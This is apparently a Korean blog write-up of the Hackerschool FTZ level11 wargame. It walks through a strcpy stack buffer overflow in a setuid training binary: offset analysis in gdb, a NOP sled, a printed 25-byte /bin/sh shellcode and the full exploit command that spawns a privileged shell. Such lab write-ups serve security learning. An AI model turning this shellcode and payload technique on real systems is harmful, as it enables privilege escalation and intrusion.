level11

해커스쿨 FTZ 2018. 3. 27. 19:49

문제가 어려워지기 시작한다고 정평이난 LEVEL11번이다.

 

level11의 힌트에서는 한 코드를 보여준다.

맥락상 attackme파일의 코드인 듯 하다.

 

우선 코드상

setreuid()

strcpy()

printf()

가 보인다.

 

setreuid는 setuid를 설정하는 것으로 3092는 level12의 uid이다.

strcpy는 argv[1](입력받은 파라미터) 를 앞서선언한 str[256]에 그대로 복사하는 함수인데, 이 함수는 크기를 확인하지 않고 붙혀넣는다는 취약점이 있다.

이것을 이용해 버퍼오버플로우를 일으킬 수 있을 것이다.

 

 

이 중

 

main의 디스어셈블을 보면 setreuid나 strcpy, printf 등 hint에서 보인 함수들의 이름이 보인다.

 

내용을 보면 sub 0x108이 보이는데 코드의 처음에서 char str[256]을 선언한것을 보아 이 공간이 str이 할당된 것으로 보였다. 0x108은 16진수로 264이다. 따라서 256바이트에 8바이트의 더미가 생긴것을 확인했다.

 

뒤의 push 0xc14는 setreuid에 넘겨주는 패러미터다  0xc14는 십진수로 3092로 코드내의 setreuid( 3092, 3092 );와 일치한다.

 

그런데 이 gdb 상태에서는 run을 하면 실행이 실패한다.

 

검색을 해보니 권한이 없어서 안된다고 해서 하위 tmp폴더에 hint파일을 복사해서 gcc로 컴파일 하였다.

 

이렇게 해보니 실행이 됨을 알 수 있었다.

 

이 프로그램은 str[256]이 더미까지 총 264바이트를 할당받으므로 ret주소는 264바이트 + 4바이트 후에 있을 것이다.

사실 시작값을 확실히 구하기는 어려우므로 버퍼를 0x90(NOP)로 가득채운다.

NOP를 만나면 아무 연산을 하지 않고 다음 코드가 들어올때까지 프로그램이 진행되므로 그 중간에 쉘코드를 넣어두고 ret을 그 이전 주소로 설정하면 NOP를 지나서 쉘코드가 진행될 것이다.

 

NOP가 시작되는 곳을 알아보기위해 strcpy앞에 breakpoint를 설정하고

r `python -c 'print "\x90"*243+"a"*25+"\x90\x90\x90\x90"'`를 실행했다.


프로그램을 실행한 후 'nexti'로 진행해 esp를 확인해 보았다.

 

 

코드가 실행된 후 패러미터로 넘겨준대로 0x90 243개와 'A' 25개 후 0x90이 나오는걸 볼 수 있다. 그렇다면 0x90이 시작하는 0xbfffe050을 ret으로 설정하면 될거라 생각했다.

(인터넷에서 구한 쉘코드가 25바이트이기 때문에 25바이트를 A로 대체하였다.)

 

구한 쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80이다.

 

 

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xe0\xff\xbf"'`
를 실행했는데 Segmentation fault 가 떴다.

 



다시 gdb를 실행해서 esp를 2000까지 보았는데







0x90 이 반복되는 것을 발견했다.


쉘코드 25바이트를 넣고 0xbffffb30을 ret으로 오버플로우 하면 될 것 같았다. 




실행했더니 성공한 것을 확인했다.

'해커스쿨 FTZ' 카테고리의 다른 글

level13  (0) 2018.03.28
level12  (0) 2018.03.28
level10  (0) 2018.03.26
level9  (2) 2018.03.26
level8  (0) 2018.03.26
블로그 이미지

천재보다는 범재

,